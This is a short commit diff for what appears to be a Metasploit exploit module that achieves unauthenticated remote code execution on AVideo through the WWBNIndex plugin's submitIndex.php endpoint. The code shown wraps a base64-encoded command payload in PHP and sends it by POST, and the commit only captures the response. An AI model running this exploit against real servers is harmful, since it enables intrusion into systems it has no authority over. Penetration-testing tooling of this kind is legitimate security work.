Update modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb

Co-authored-by: jheysel-r7 <[email protected]>

Author: Chocapikk

modules/exploits/multi/http/avideo_wwbnindex_unauth_rce.rb

@@ -81,7 +81,7 @@ def initialize(info = {})
   def exploit
     php_code = "<?php #{target['Arch'] == ARCH_PHP ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));"} ?>"
     filter_payload = generate_php_filter_payload(php_code)
-    send_request_cgi(
+    res = send_request_cgi(
       'method' => 'POST',
       'uri' => normalize_uri(target_uri.path, 'plugin', 'WWBNIndex', 'submitIndex.php'),
       'ctype' => 'application/x-www-form-urlencoded',